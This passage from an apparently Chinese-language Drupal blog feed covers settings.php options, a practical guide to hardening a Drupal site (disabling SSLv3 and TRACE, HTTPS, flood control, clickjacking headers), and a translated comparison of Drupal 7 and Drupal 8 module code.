&lt;h1 id=&#34;conf-proxy-port-8080&#34;&gt;$conf[&amp;lsquo;proxy_port&amp;rsquo;] = 8080;&lt;/h1&gt;

&lt;h1 id=&#34;conf-proxy-username&#34;&gt;$conf[&amp;lsquo;proxy_username&amp;rsquo;] = &amp;ldquo;;&lt;/h1&gt;

&lt;h1 id=&#34;conf-proxy-password&#34;&gt;$conf[&amp;lsquo;proxy_password&amp;rsquo;] = &amp;ldquo;;&lt;/h1&gt;

&lt;h1 id=&#34;conf-proxy-user-agent&#34;&gt;$conf[&amp;lsquo;proxy_user_agent&amp;rsquo;] = &amp;ldquo;;&lt;/h1&gt;

&lt;h1 id=&#34;conf-proxy-exceptions-array-127-0-0-1-localhost&#34;&gt;$conf[&amp;lsquo;proxy_exceptions&amp;rsquo;] = array(&amp;lsquo;127.0.0.1&amp;rsquo;, &amp;lsquo;localhost&amp;rsquo;);&lt;/h1&gt;

&lt;p&gt;/**
 * 认证的文件系统操作：
 *
 * Update Manager模块提供了一种机制，让管理员可以安全的在站点上利用Web界面安装缺失的更新。
 * 在安全的服务器上，Update Manager在执行升级操作之前，需要管理员提供SSH或者FTP登陆凭据。
 * 让站点能够使用这些登陆凭据来访问整个Drupal站点的文件，而不受限于web server的运行用户。
 *
 * 如果webserver用户就是Drupal文件的拥有者，则无需SSH或FTP凭证（注意这类主机通畅是托管在共享环境中，天生的安全性低）。
 *
 * 有些站点可能希望关闭上面的功能，只允许通过SSH或者FTP进行升级。
 * 这个设置会关闭所有认证文件更新的相关功能。
 *
 */&lt;/p&gt;

&lt;h1 id=&#34;conf-allow-authorize-operations-false&#34;&gt;$conf[&amp;lsquo;allow_authorize_operations&amp;rsquo;] = FALSE;&lt;/h1&gt;
</description>
    </item>
    
    <item>
      <title>Drupal 基础安全实战</title>
      <link>/post/drupal-basic-security/</link>
      <pubDate>Tue, 11 Nov 2014 09:02:27 +0800</pubDate>
      <guid>/post/drupal-basic-security/</guid>
      <description>

&lt;p&gt;最近翻译了一篇老外写的全站SSL介绍，感觉水得一塌糊涂，恰好前一段时间被合作方的安全团队在安全方面骚扰很久，涉及的问题范围较广，也比较全面，这里做个总结，也给大家一个参考。&lt;/p&gt;

&lt;p&gt;下面行文主要从 Issues List 里面提取，顺序上可能稍显跳跃，因为是工程案例，所以偏重于见招拆招的解决问题，而较少提供问题的剖析，不过尽量会提供引文供读者延伸阅读。&lt;/p&gt;

&lt;h2 id=&#34;sslv3-enabled&#34;&gt;SSLv3 Enabled&lt;/h2&gt;

&lt;p&gt;&lt;a href=&#34;https://www.openssl.org/~bodo/ssl-poodle.pdf&#34; target=&#34;_blank&#34;&gt;Openssl对于ssl poodle问题的说明&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.digitalocean.com/community/tutorials/how-to-protect-your-server-against-the-poodle-sslv3-vulnerability&#34; target=&#34;_blank&#34;&gt;Digital Ocean对这个问题的说明和对策&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Apache Server的配置：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    SSLProtocol all -SSLv3 -SSLv2
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Nginx Server的配置&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;检查方法：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    openssl s_client -connect [host_name]:[port_number] -ssl3
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;返回内容应有一行类似内容&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    CONNECTED(00000003)
    55339:error:14094410:SSL routines:SSL3_READ_BYTES:sslv3 alert handshake failure
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;https访问&#34;&gt;HTTPS访问&lt;/h2&gt;

&lt;p&gt;这个很简单，建议使用全站 HTTPS 的方案来做。&lt;/p&gt;

&lt;p&gt;需要注意的是，自颁发的证书基本相当于是无效的。配置过程中，要注意证书链这个概念。&lt;/p&gt;

&lt;p&gt;非常好的一篇数字证书入门：&lt;a href=&#34;http://www.cnblogs.com/JeffreySun/archive/2010/06/24/1627247.html&#34; target=&#34;_blank&#34;&gt;《数字证书原理》&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;提供两个检查 https 配置情况的在线工具：&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.networking4all.com/en/support/tools/site+check&#34; target=&#34;_blank&#34;&gt;http://www.networking4all.com/en/support/tools/site+check&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.sslshopper.com/ssl-checker.html&#34; target=&#34;_blank&#34;&gt;https://www.sslshopper.com/ssl-checker.html&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;另外还可以利用 &lt;a href=&#34;https://www.drupal.org/project/seckit&#34; target=&#34;_blank&#34;&gt;Security Kit 模块&lt;/a&gt;启用 &lt;a href=&#34;http://zh.wikipedia.org/wiki/HTTP%E4%B8%A5%E6%A0%BC%E4%BC%A0%E8%BE%93%E5%AE%89%E5%85%A8&#34; target=&#34;_blank&#34;&gt;HSTS&lt;/a&gt;。强制浏览器使用 HTTPS 通信。&lt;/p&gt;

&lt;h2 id=&#34;input-validation&#34;&gt;Input Validation&lt;/h2&gt;

&lt;p&gt;在工期较紧，又包含大量自开发模块的项目中，经常会出现这种问题，缺乏对 Form 输入的基本验证。&lt;/p&gt;

&lt;h2 id=&#34;flood-control&#34;&gt;Flood Control&lt;/h2&gt;

&lt;p&gt;Drupal对登陆行为自带了 Flood Control 用于防止暴力破解。但是这部分涉及的系统变量和 Ban List 都属于隐藏内容，无法直接操作，可以通过 &lt;a href=&#34;https://www.drupal.org/project/flood_control&#34; target=&#34;_blank&#34;&gt;Flood control&lt;/a&gt;模块对登陆行为进行控制。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.drupal.org/project/fbip&#34; target=&#34;_blank&#34;&gt;fbip&lt;/a&gt; 模块据说更进一步的提供了对所有 Form 的 Flood Control，笔者目前还没有实测。&lt;/p&gt;

&lt;h2 id=&#34;密码策略&#34;&gt;密码策略&lt;/h2&gt;

&lt;p&gt;可以通过 &lt;a href=&#34;https://www.drupal.org/project/password_policy&#34; target=&#34;_blank&#34;&gt;Password policy&lt;/a&gt; 模块设定密码的复杂度策略。&lt;/p&gt;

&lt;h2 id=&#34;php-错误信息&#34;&gt;PHP 错误信息&lt;/h2&gt;

&lt;p&gt;为防止站点出错时，泄露服务器信息，可以在 &lt;code&gt;admin/config/development/logging&lt;/code&gt; 下选择None来禁止错误信息的显示。&lt;/p&gt;

&lt;h2 id=&#34;自动完成&#34;&gt;自动完成&lt;/h2&gt;

&lt;p&gt;多数时候，这一特性方便了用户，但在多个用户使用同一终端的情况下，有可能造成信息泄露，对于HTML5浏览器，可以写一个 &lt;code&gt;form_alter&lt;/code&gt;，禁止指定或全部 Form 的自动完成：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;function auto_complete_off_form_alter(&amp;amp;$form) {
    $form[&#39;#attributes&#39;][&#39;autocomplete&#39;] = &#39;off&#39;;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;click-jacking&#34;&gt;Click Jacking&lt;/h2&gt;

&lt;p&gt;&lt;a href=&#34;http://drops.wooyun.org/papers/104&#34; target=&#34;_blank&#34;&gt;Wooyun 的介绍文章&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;文中也写到  &lt;code&gt;X-FRAME-OPTIONS&lt;/code&gt;这一 HTTP 头能够有效防御这一攻击&lt;/p&gt;

&lt;p&gt;前文提到的 Security Kit 即可设置。&lt;/p&gt;

&lt;h2 id=&#34;trace-method&#34;&gt;Trace Method&lt;/h2&gt;

&lt;pre&gt;&lt;code&gt;          HTTP/1.1（RFC2616）规范定义了HTTP TRACE方法，主要是用于客户端通过向Web服务器提交TRACE请求来进行测试或获得诊断信息。当Web服务器启用TRACE时，提交的请求头会在服务器响应的内容（Body）中完整的返回，其中HTTP头很可能包括Session Token、Cookies或其它认证信息。攻击者可以利用此漏洞来欺骗合法用户并得到他们的私人信息。该漏洞往往与其它方式配合来进行有效攻击，由于HTTP TRACE请求可以通过客户浏览器脚本发起（如XMLHttpRequest），并可以通过DOM接口来访问，因此很容易被攻击者利用。
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;禁用的方法很简单：&lt;/p&gt;

&lt;p&gt;Apache，启用Rewrite：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;      RewriteEngine On
      RewriteCond %{REQUEST_METHOD} ^TRACE
      RewriteRule .* - [F]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Nginx已经禁止很久了。&lt;/p&gt;

&lt;p&gt;检测方法&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;      telnet your_host
      Trying your_ip...
      Connected to your_host.
      Escape character is &#39;^]&#39;.
      TRACE / HTTP/1.0
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;查看返回内容是否 4xx 即可。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>第七部 代码的变化</title>
      <link>/post/drupal-code-changed/</link>
      <pubDate>Sat, 11 Oct 2014 07:52:44 +0800</pubDate>
      <guid>/post/drupal-code-changed/</guid>
      <description>

&lt;p&gt;##Proudly Found Elsewhere（这一标题我想翻译成他山之石）&lt;/p&gt;

&lt;p&gt;&amp;ldquo;&lt;a href=&#34;http://zh.wikipedia.org/wiki/%E9%9D%9E%E6%88%91%E6%89%80%E5%89%B5&#34; target=&#34;_blank&#34;&gt;非我首创综合症&lt;/a&gt;&amp;ldquo;的反义词，代表了Drupal核心开发者的思维方式的转变——尝试找到最好的工具并集成到软件(Drupal)中去，而不是构造Drupal专属的，仅对Drupal用户有益的定制化技术。&lt;/p&gt;

&lt;p&gt;在Drupal 8中你会看到很多这种哲学的体现。在众多的外部库中，我们引入了&lt;a href=&#34;http://phpunit.de/&#34; target=&#34;_blank&#34;&gt;PHPUnit&lt;/a&gt;来进行单元测试，&lt;a href=&#34;http://guzzle.readthedocs.org/en/latest/&#34; target=&#34;_blank&#34;&gt;Guzzle&lt;/a&gt;来执行HTTP请求（Web Service），一系列的&lt;a href=&#34;https://github.com/fabpot/Create-Your-Framework/tree/master/book&#34; target=&#34;_blank&#34;&gt;Symfony&lt;/a&gt;组件（可参考&lt;a href=&#34;https://github.com/fabpot/Create-Your-Framework/tree/master/book&#34; target=&#34;_blank&#34;&gt;《Create your own framework on top of the Symfony2 Components》&lt;/a&gt;），&lt;a href=&#34;https://getcomposer.org/&#34; target=&#34;_blank&#34;&gt;Composer&lt;/a&gt;用于解决外部依赖和自动加载问题。&lt;/p&gt;

&lt;p&gt;除此之外，这一变化也反映在核心基础代码之中，我们在Drupal 8中做出了&lt;a href=&#34;http://buytaert.net/why-the-big-architectural-changes-in-drupal-8&#34; target=&#34;_blank&#34;&gt;《大量的架构变更》&lt;/a&gt;，以此来响应外部世界的进步：解耦，面向对象，对PHP的新特性例如命名空间和&lt;a href=&#34;http://php.net/manual/zh/language.oop5.traits.php&#34; target=&#34;_blank&#34;&gt;Traits&lt;/a&gt;的支持。&lt;/p&gt;

&lt;p&gt;##Getting OOP-y with it（翻成啥，此处应有掌声？）&lt;/p&gt;

&lt;p&gt;让我们来看看Drupal 8架构中的一些反映上述变化的代码：&lt;/p&gt;

&lt;h3 id=&#34;drupal-7-example-info&#34;&gt;Drupal 7: example.info&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;name = Example
description = An example module.
core = 7.x
files[] = example.test
dependencies[] = user
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;所有的Drupal模块都需要一个.info文件来完成系统中的注册动作。上面的例子是Drupal 7模块中的典型写法。文件格式是一种类似Ini的写法，但是其中还包含了一些Drupal风格的元素，例如&lt;code&gt;array[]&lt;/code&gt;语法，这导致无法使用PHP的标准INI文件访问函数来访问info文件。&lt;code&gt;files[]&lt;/code&gt;关键字在Drupal 7中用于触发自定义类的载入，也是一种Drupal特有的方式，模块开发者开发的面向对象代码必须添加一个&lt;code&gt;files[]&lt;/code&gt;元素来定义类，&lt;a href=&#34;http://drupalcode.org/project/views.git/blob/refs/heads/7.x-3.x:/views.info&#34; target=&#34;_blank&#34;&gt;看起来有点傻&lt;/a&gt;（views的info文件，这个吐槽深得我心）&lt;/p&gt;

&lt;p&gt;###Drupal 8: example.info.yml&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;name: Example
description: An example module.
core: 8.x
dependencies:
  - user
# Note: New property required as of Drupal 8!
type: module
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Drupal 8的info文件改为很多其他语言和框架都在使用的&lt;a href=&#34;http://www.yaml.org/&#34; target=&#34;_blank&#34;&gt;YAML&lt;/a&gt;格式。语法类似（“:”代替了 “=”，不同的数组语法），读写都很容易。类的自动加载，不再使用古怪的&lt;code&gt;files[]&lt;/code&gt;关键字，而改头换面为用&lt;a href=&#34;https://getcomposer.org/&#34; target=&#34;_blank&#34;&gt;Composer&lt;/a&gt;支撑的 &lt;a href=&#34;https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-4-autoloader.md&#34; target=&#34;_blank&#34;&gt;PSR-4&lt;/a&gt;标准。这种方式采用规定的类名称/文件夹的转换方式，形成一种更像自然语言的规则（modules/example/src/ExampleClass.php），Drupal不再需要手工注册即可自动载入面向对象的代码。&lt;/p&gt;

&lt;p&gt;###Drupal 7: hook_menu()&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;example.module&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
/**
* Implements hook_menu().
*/
function example_menu() {
  $items[&#39;hello&#39;] = array(
    &#39;title&#39; =&amp;gt; &#39;Hello world&#39;,
    &#39;page callback&#39; =&amp;gt; &#39;_example_page&#39;,
    &#39;access callback&#39; =&amp;gt; &#39;user_access&#39;,
    &#39;access arguments&#39; =&amp;gt; &#39;access content&#39;,
    &#39;type&#39; =&amp;gt; MENU_CALLBACK,
  );
  return $items;
}
/**
* Page callback: greets the user.
*/
function _example_page() {
  return array(&#39;#markup&#39; =&amp;gt; t(&#39;Hello world.&#39;));
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这是Drupal 7经典的&amp;rdquo;Hello world&amp;rdquo;模块，定义了一个/hello的URL，当这个地址被访问时，会判断当前用户是否具有&amp;rdquo;access content&amp;rdquo;权限，如果鉴权通过，则会执行&lt;code&gt;_example_page()&lt;/code&gt;的代码——显示渲染后的&amp;rdquo;Hello world&amp;rdquo;。&lt;code&gt;hook_menu()&lt;/code&gt;是Drupal 7以及更早版本中被诟病已久的数组API(API =&amp;gt; ArrayPI)，这种方式的问题在于，很难进行输入（比如，忘掉&lt;code&gt;return $items&lt;/code&gt;，然后抓耳挠腮不知错在何处），没有IDE能够对这种东西进行自动完成，对于关键字的新增和变更，文档也只能进行手工同步。&lt;a href=&#34;https://api.drupal.org/api/drupal/modules!system!system.api.php/function/hook_menu/7&#34; target=&#34;_blank&#34;&gt;hook_menu文档&lt;/a&gt;中也很明显的表现出一个问题：menu的负担太重了——注册URL以及相应的鉴权方法和执行代码，又提供了在界面上暴露连接的多种方式，甚至还能切换主题，以及更多的任务。&lt;/p&gt;

&lt;p&gt;###Drupal 8: 路由和Controller&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;example.routing.yml&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;example.hello:
  path: &#39;/hello&#39;
  defaults:
    _content: &#39;\Drupal\example\Controller\Hello::content&#39;
  requirements:
    _permission: &#39;access content&#39;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;strong&gt;src/Controller/Hello.php&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
namespace Drupal\example\Controller;
use Drupal\Core\Controller\ControllerBase;

/**
* Greets the user.
*/
class Hello extends ControllerBase {
  public function content() {
    return array(&#39;#markup&#39; =&amp;gt; $this-&amp;gt;t(&#39;Hello world.&#39;));
  }
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在Drupal 8的&lt;a href=&#34;https://drupal.org/developing/api/8/routing&#34; target=&#34;_blank&#34;&gt;路由系统&lt;/a&gt;中，采用了同&lt;a href=&#34;http://symfony.com/doc/current/book/routing.html&#34; target=&#34;_blank&#34;&gt;Symfony路由系统&lt;/a&gt;一致的YAML格式，用于实现url以及访问控制逻辑。原有的page callback方式现在采用了&amp;rdquo;Controller&amp;rdquo;类的方式（可参看&lt;a href=&#34;http://en.wikipedia.org/wiki/Model–view–controller&#34; target=&#34;_blank&#34;&gt;model-view-controler模式&lt;/a&gt;），Controller遵循PSR-4标准存放于指定命名的文件夹中。这个类存在于example模块的命名空间中，这也防止了同其他模块的命名冲突。最后，这个类使用use和extends语句引入了&lt;a href=&#34;https://api.drupal.org/api/drupal/core!lib!Drupal!Core!Controller!ControllerBase.php/class/ControllerBase/8&#34; target=&#34;_blank&#34;&gt;ControllerBase&lt;/a&gt;类，因此这个controller能访问到所有的ControllerBase类的方法，例如&lt;code&gt;$this-&amp;gt;t()&lt;/code&gt;(t()函数的OO版本)。另外，ControllerBase是一个标准的PHP类，所有的方法和属性在IDE中都可以自动完成，这将大大减少猜测和出错的机会。&lt;/p&gt;

&lt;p&gt;###Drupal 7: &lt;code&gt;hook_block_X()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;block.module&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
/**
* Implements hook_block_info().
*/
function example_block_info() {
  $blocks[&#39;example&#39;] = array(
    &#39;info&#39; =&amp;gt; t(&#39;Example block&#39;),
  );
  return $blocks;
}
/**
* Implements hook_block_view().
*/
function example_block_view($delta = &#39;&#39;) {
  $block = array();
  switch ($delta) {
    case &#39;example&#39;:
      $block[&#39;subject&#39;] = t(&#39;Example block&#39;);
      $block[&#39;content&#39;] = array(
        &#39;hello&#39; =&amp;gt; array(
          &#39;#markup&#39; =&amp;gt; t(&#39;Hello world&#39;),
        ),
      );
      break;
  }
  return $block;
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这是Drupal中的典型的插接方式——包括block, 文本格式，图片效果等：某种&lt;code&gt;_info()&lt;/code&gt;钩子，然后一个或多个其他钩子来进行其他动作（查看，应用和配置等）。这其中又包含大量的数组，这是因为这些API不具备自描述特性，除了肉眼观察大量模块的&lt;code&gt;.api.php&lt;/code&gt;文件之外，别无他法——而这些文件也未必能够提供足够的信息要求你如何命名你的实现。有些是必选，有些不是，哪个是哪个，等等诸如此类的问题。&lt;/p&gt;

&lt;p&gt;###Drupal 8: Blocks（以及很多其他东西）是一个插件&lt;/p&gt;

&lt;p&gt;在Drupal 8中，这些古怪的API转换为新的&lt;a href=&#34;https://drupal.org/developing/api/8/plugins&#34; target=&#34;_blank&#34;&gt;插件系统&lt;/a&gt;，举例如下：&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;src/Plugin/Block/Example.php&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
namespace Drupal\example\Plugin\Block;
use Drupal\Core\Block\BlockBase;

/**
* Provides the Example block.
*
* @Block(
*   id = &amp;quot;example&amp;quot;,
*   admin_label = @Translation(&amp;quot;Example block&amp;quot;)
* )
*/
class Example extends BlockBase {
  public function build() {
    return array(&#39;hello&#39; =&amp;gt; array(
      &#39;#markup&#39; =&amp;gt; $this-&amp;gt;t(&#39;Hello world.&#39;)
    ));
  }
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;大多数内容跟Controller例子很像；一个插件就是一个基类（&lt;a href=&#34;https://api.drupal.org/api/drupal/core%21lib%21Drupal%21Core%21Block%21BlockBase.php/class/BlockBase/8&#34; target=&#34;_blank&#34;&gt;BlockBase&lt;/a&gt;）的派生，基类维护了很多基础内容。Block API声明了&lt;a href=&#34;https://api.drupal.org/api/drupal/core%21lib%21Drupal%21Core%21Block%21BlockPluginInterface.php/interface/BlockPluginInterface/8&#34; target=&#34;_blank&#34;&gt;BlockPluginInterface接口&lt;/a&gt;，并进行了实现。&lt;/p&gt;

&lt;p&gt;接口以IDE友好的方式提供和描述了各种API。学习Drupal 8新API的最好方式之一就是浏览接口。&lt;/p&gt;

&lt;p&gt;类上方的注释被称为&lt;a href=&#34;http://docs.doctrine-project.org/projects/doctrine-common/en/latest/reference/annotations.html&#34; target=&#34;_blank&#34;&gt;标注&lt;/a&gt;。用PHP注释来指定逻辑的元数据可能让人觉得奇怪，不过这种方式已经被众多的现代PHP库采用，并且也为PHP社区所接受。&lt;/p&gt;

&lt;p&gt;###Drupal 7:Hooks&lt;/p&gt;

&lt;p&gt;在Drupal 7以及更早的版本中，通过&lt;a href=&#34;https://api.drupal.org/api/drupal/includes!module.inc/group/hooks/7&#34; target=&#34;_blank&#34;&gt;hook&lt;/a&gt;来实现扩展机制。作为API的作者，可以利用&lt;code&gt;module_invoke_all()&lt;/code&gt;, &lt;code&gt;module_implements()&lt;/code&gt;, &lt;code&gt;drupal_alter()&lt;/code&gt;等方式来声明Hook，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
  // Compile a list of permissions from all modules for display on admin form.
  foreach (module_implements(&#39;permission&#39;) as $module) {
    $modules[$module] = $module_info[$module][&#39;name&#39;];
  }
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在一个需要响应这一事件的模块中，可以创建一个名为&lt;code&gt;modulename_hookname()&lt;/code&gt;的函数，输出该hook指定的结果。例如：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
/**
* Implements hook_permission().
*/
function menu_permission() {
  return array(
    &#39;administer menu&#39; =&amp;gt; array(
      &#39;title&#39; =&amp;gt; t(&#39;Administer menus and menu items&#39;),
    ),
  );
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这在Drupal初期是一个很先进的扩展方式（Drupal在2001年出世，当时是PHP3的天下，没有提供面向对象或者类似的机制），这一方式也造成不少麻烦：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;利用&amp;rdquo;特定名称的函数&amp;rdquo;进行扩展的机制是一种很Drupal的方式，也是新晋开发者最难以理解的问题之一。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;至少有四种不同的函数可以触发hook：&lt;code&gt;module_invoke()&lt;/code&gt;、&lt;code&gt;module_invoke_all()&lt;/code&gt;、 &lt;code&gt;module_implements()&lt;/code&gt;、&lt;code&gt;drupal_alter()&lt;/code&gt;。这使得查找实现某一扩展的所有代码非常困难。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Hook缺乏一致性：有些&amp;rdquo;info&amp;rdquo;类的hook，提供一个数组（或者数组的数组的数组..），有些是“事件”类型的hook，在某些事情发生的时候触发。需要阅读每个hook的文档来确定各个hook需要的输入和输出。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;###Drupal 8:事件&lt;/p&gt;

&lt;p&gt;Hooks在Drupal 8的多数事件驱动行为中还是普遍存在的（info风格的hook被迁移到了YAML或者插件标注中），Drupal 8中迁移到Symfony（例如bootstrap/exit, 路由系统）的部分也随之转换为&lt;a href=&#34;http://symfony.com/doc/current/components/event_dispatcher/introduction.html&#34; target=&#34;_blank&#34;&gt;Symfony事件分发系统&lt;/a&gt;。在这个系统中，事件在某个逻辑触发的时候进行分发，模块可以订阅需要进行交互的事件。&lt;/p&gt;

&lt;p&gt;下面的演示，是Drupal 8的配置API，位于&lt;a href=&#34;https://api.drupal.org/api/drupal/core%21lib%21Drupal%21Core%21Config%21Config.php/class/Config/8&#34; target=&#34;_blank&#34;&gt;core/lib/Drupal/Core/Config/Config.php&lt;/a&gt;。他定义了一系列的&amp;rsquo;CRUD&amp;rsquo;方法，例如save()、delete()等。每个方法在结束任务之后都会分发一个事件，让其他模块可以做出反应。例如Config::save()：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
  public function save() {
    // &amp;lt;snip&amp;gt;Validate the incoming information.&amp;lt;/snip&amp;gt;
    // Save data to Drupal, then tell other modules this was just done so they can react.
    $this-&amp;gt;storage-&amp;gt;write($this-&amp;gt;name, $this-&amp;gt;data);
    // ConfigCrudEvent is a class that extends from Symfony&#39;s &amp;quot;Event&amp;quot; base class.
    $this-&amp;gt;eventDispatcher-&amp;gt;dispatch(ConfigEvents::SAVE, new ConfigCrudEvent($this));
  }
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;最少有一个模块在配置变化时候需要做出反应：核心的语言模块。因为如果刚刚发生变更的配置中包含了缺省的站点语言，会需要清除PHP缓存文件来让配置生效.&lt;/p&gt;

&lt;p&gt;要达到这个目的，语言模块要做三件事：&lt;/p&gt;

&lt;p&gt;1.在language.services.yml文件（&lt;a href=&#34;http://symfony.com/doc/current/book/service_container.html&#34; target=&#34;_blank&#34;&gt;Symfony服务容器&lt;/a&gt;的配置文件，用于注册可重用代码）中注册一个订阅类：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;language.config_subscriber:
  class: Drupal\language\EventSubscriber\ConfigSubscriber
  tags:
    - { name: event_subscriber }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;2,在&lt;a href=&#34;https://api.drupal.org/api/drupal/core%21modules%21language%21src%21EventSubscriber%21ConfigSubscriber.php/class/ConfigSubscriber/8&#34; target=&#34;_blank&#34;&gt;引用类&lt;/a&gt;中实现&lt;a href=&#34;http://api.symfony.com/2.4/Symfony/Component/EventDispatcher/EventSubscriberInterface.html&#34; target=&#34;_blank&#34;&gt;EventSubscriberInterface&lt;/a&gt;，并声明一个getSubscribedEvents方法，这个方法列出要处理的事件，并为每个事件提供一个或多个回调函数来进行处理，并提供权重，来决定调用顺序（Symfony的权重顺序同Drupal的相反）：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
class ConfigSubscriber implements EventSubscriberInterface {
  static function getSubscribedEvents() {
    $events[ConfigEvents::SAVE][] = array(&#39;onConfigSave&#39;, 0);
    return $events;
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;3.定义回调方法，用于处理配置保存触发的事件：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
  public function onConfigSave(ConfigCrudEvent $event) {
    $saved_config = $event-&amp;gt;getConfig();
    if ($saved_config-&amp;gt;getName() == &#39;system.site&#39; &amp;amp;&amp;amp; $event-&amp;gt;isChanged(&#39;langcode&#39;)) {
      // Trigger a container rebuild on the next request by deleting compiled
      // from PHP storage.
      PhpStorageFactory::get(&#39;service_container&#39;)-&amp;gt;deleteAll();
    }
  }
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的方式给开发者提供了一个明确的注册工具，让一个模块可以用多个类订阅不同的事件。这避免了过去我们经常要在hook中使用switch语句的情况，也避免了同一语句块中大量的不相干代码对开发人员造成的困扰，让我们可以用不同的类来处理不同的逻辑。这同时也意味着我们的事件机制是后加载的，而不是随时保存在PHP的内存中。&lt;/p&gt;

&lt;p&gt;对事件进行调试，以及查找其实现代码也变得非常直观。从前需要在一大堆的过程化PHP函数中鉴别是否被hook调用，而现在只需要简单的查找注册事件即可，例如ConfigEvents::SAVE。&lt;/p&gt;

&lt;p&gt;事件系统真正完成了到面向对象的转换。插件系统处理了info风格的hook，YAML代替了过去的注册系统，而事件系统则取代了事件风格的hook，并引入了强大的订阅机制，进一步提升了Drupal核心的扩展能力。&lt;/p&gt;

&lt;p&gt;##还有很多&lt;/p&gt;

&lt;p&gt;Drupal API的变更可以在&lt;a href=&#34;https://api.drupal.org/api/drupal/8&#34; target=&#34;_blank&#34;&gt;Drupal 8 API页面&lt;/a&gt;看到，这里你能找到分门别类的Drupal 8 API介绍：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/9858fb83f0bbc68656e0283b4f78e293.png&#34; alt=&#34;drupal8 api&#34; /&gt;&lt;/p&gt;

&lt;p&gt;还可以浏览&lt;a href=&#34;https://drupal.org/list-changes&#34; target=&#34;_blank&#34;&gt;https://drupal.org/list-changes&lt;/a&gt;来查看完整的Drupal 7和Drupal 8的API差异（载入时间貌似比较长）。每个API的变化都包含了变化前和变化后的代码示例，可以帮助你进行迁移，并指出这个变更所对应的issue，介绍变更的内容和原因。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/sites/default/files/get_image/21e2a641d0280c1418535080e6d16d85.png&#34; alt=&#34;drupal 8 change record&#34; /&gt;&lt;/p&gt;

&lt;p&gt;##打了好多字&lt;/p&gt;

&lt;p&gt;转向现代的，面向对象的新Drupal，会多出很多啰嗦的问题。下面列出一些项目能够协助你跨越这些障碍：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href=&#34;https://www.drupal.org/project/drupalmoduleupgrader&#34; target=&#34;_blank&#34;&gt;Drupal Module Upgrader&lt;/a&gt;：如果要把Drupal 7模块升级到Drupal 8，一定要看看这个项目，他会告诉你哪里需要变更（指向相关的变更说明），或者自动的把你的代码转换到Drupal 8。你可以在&lt;a href=&#34;https://www.acquia.com/resources/podcasts/acquia-podcast-154-help-build-drupal-8-module-upgrader&#34; target=&#34;_blank&#34;&gt;视频&lt;/a&gt;中更多的了解该项目。&lt;/p&gt;&lt;/li&gt;

